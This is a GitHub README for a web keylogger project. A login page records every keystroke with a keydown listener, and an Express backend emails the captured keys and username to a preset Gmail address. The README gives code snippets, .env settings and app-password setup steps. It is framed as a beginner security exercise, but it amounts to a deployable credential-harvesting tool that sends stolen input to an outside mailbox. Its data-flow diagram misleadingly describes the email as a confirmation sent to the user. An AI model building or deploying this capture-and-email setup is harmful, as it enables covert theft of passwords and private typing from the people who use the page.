Skip to content

Keylogger software is a good beginner-level cyber security project. A keylogger is software used to record every keystroke made by the user on their keyboard devices.

License

Notifications You must be signed in to change notification settings

pranaykumar2/keylogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

12 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ•΅οΈβ€β™‚οΈ Keylogger Project

A comprehensive educational project demonstrating client-server communication, event handling, and data processing in web applications. This implementation focuses on understanding keystroke capture mechanisms and secure data transmission protocols.


πŸ“Œ System Architecture

flowchart TD
    classDef frontend fill:#42A5F5,color:#fff,stroke:#1976D2
    classDef backend fill:#66BB6A,color:#fff,stroke:#388E3C
    classDef storage fill:#FFA726,color:#000,stroke:#F57C00
    
    subgraph Frontend[Frontend Layer]
        UI[Login Form]:::frontend
        KS[Keystroke Capture]:::frontend
        FM[Form Manager]:::frontend
    end
    
    subgraph Backend[Backend Services]
        Server[Express Server]:::backend
        KEYS[Keystroke Processor]:::backend
        Email[Nodemailer Service]:::backend
    end
    
    subgraph Storage[Configuration]
        ENV[.env Configuration]:::storage
    end
    
    UI --> KS
    KS --> FM
    FM --> Server
    Server --> KEYS
    KEYS --> Email
    ENV -.-> Server
    
    subgraph Legend[Component Types]
        F[Frontend Components]:::frontend
        B[Backend Services]:::backend
        S[Storage/Config]:::storage
    end
Loading

πŸ”Ή Layers Overview:

  • πŸ”΅ Frontend Layer: Handles user interaction and keystroke capture
  • 🟒 Backend Services: Processes captured data and manages email transmission
  • 🟑 Configuration: Stores environment variables and settings

πŸ“‚ Project Structure

πŸ“ project-root/
β”œβ”€β”€ πŸ“„ index.js          # Backend server implementation
β”œβ”€β”€ πŸ“„ script.js         # Frontend keystroke capture
β”œβ”€β”€ πŸ“„ index.html        # Login form interface
β”œβ”€β”€ πŸ“„ keycodes.js       # Key mapping definitions
β”œβ”€β”€ πŸ“„ styles.css        # UI styling
└── πŸ“„ .env             # Environment configuration

πŸ”„ Data Flow Visualization

sequenceDiagram
    participant User
    participant Form as Login Form
    participant KC as Keystroke Capture
    participant FM as Form Manager
    participant Server as Express Server
    participant KP as Keystroke Processor
    participant Email as Nodemailer Service
    
    Note over User,Email: Normal Login Flow
    User->>Form: Enter credentials
    Form->>KC: Capture keystrokes
    KC->>FM: Store captured keys
    User->>FM: Submit form
    FM->>Server: Send credentials + keystrokes
    
    Note over Server,Email: Processing Phase
    Server->>KP: Process keystroke data
    KP->>Email: Prepare email payload
    Email-->>User: Send confirmation email
    
    Note over User,Email: Error Handling
    alt Invalid Credentials
        Server-->>User: Return error message
    else Email Failure
        Email-->>Server: Report delivery error
    end
Loading

πŸ”Ή Phases Breakdown:

  1. πŸ”΅ Normal Login Flow – User interaction and data capture
  2. 🟒 Processing Phase – Data handling and transmission
  3. 🟑 Error Handling – Robust fault tolerance mechanisms

πŸ› οΈ Setup Instructions

πŸ”Ή Clone the Repository

git clone https://github.com/pranaykumar2/keylogger.git

πŸ”Ή Install Dependencies

npm install

πŸ”Ή Configure Environment Variables

GMAILFROM=your-from-email@gmail.com
PASSWORD=your-email-password
GMAILTO=your-to-email@gmail.com
PORT=3000

πŸ”Ή Initialize Server

node index.js

πŸ” Implementation Details

✏️ Keystroke Capture Mechanism

document.addEventListener('keydown', (event) => {
    const keyInfo = {
        keyCode: event.keyCode,
        key: event.key,
        timestamp: new Date().getTime(),
        eventType: 'keydown'
    };
    capturedKeys.push(keyInfo);
});

πŸ“© Email Transmission System

const transporter = nodemailer.createTransport({
    service: 'gmail',
    auth: {
        user: process.env.GMAILFROM,
        pass: process.env.PASSWORD
    }
});

const mailOptions = {
    from: process.env.GMAILFROM,
    to: process.env.GMAILTO,
    subject: 'Keystrokes Log',
    text: `Keystrokes log for user ${username}:
${keysPressedText}`
};

πŸ” Security Considerations

  • βœ… Use environment variables to store sensitive credentials
  • βœ… Implement error handling and logging for robust operations
  • βœ… Use secure communication protocols to prevent data leaks
  • βœ… Regularly update dependencies to prevent vulnerabilities

πŸ“‹ Steps to Setup APP PASSWORD

  1. Go to your Google Account App Passwords: Google App Passwords
  2. Name your app and create the password
  3. Copy the generated password and use it in the .env file

πŸ“ Usage Guide

  • πŸš€ Launch the application at localhost:3000
  • πŸ“Œ Enter login credentials in the form
  • ⌨️ Type any additional text while the page is active
  • πŸ“€ Submit the form to trigger email transmission

πŸ’» Technologies Used

πŸ”· Frontend: HTML, CSS, JavaScript
πŸ”· Backend: Node.js, Express.js
πŸ”· Utilities: Nodemailer, Body-parser
πŸ”· Development: Git


🀝 Contributing Guidelines

  • πŸ“Œ Open an issue before submitting major changes
  • πŸ“Œ Follow the existing code style for consistency
  • πŸ“Œ Include comprehensive test cases when adding features
  • πŸ“Œ Document new features thoroughly in the README

πŸ“œ License

Released under the MIT License. See LICENSE file for details.


🎯 Enjoy coding and stay secure! πŸ”

About

Keylogger software is a good beginner-level cyber security project. A keylogger is software used to record every keystroke made by the user on their keyboard devices.

Resources

License

Stars

Watchers

Forks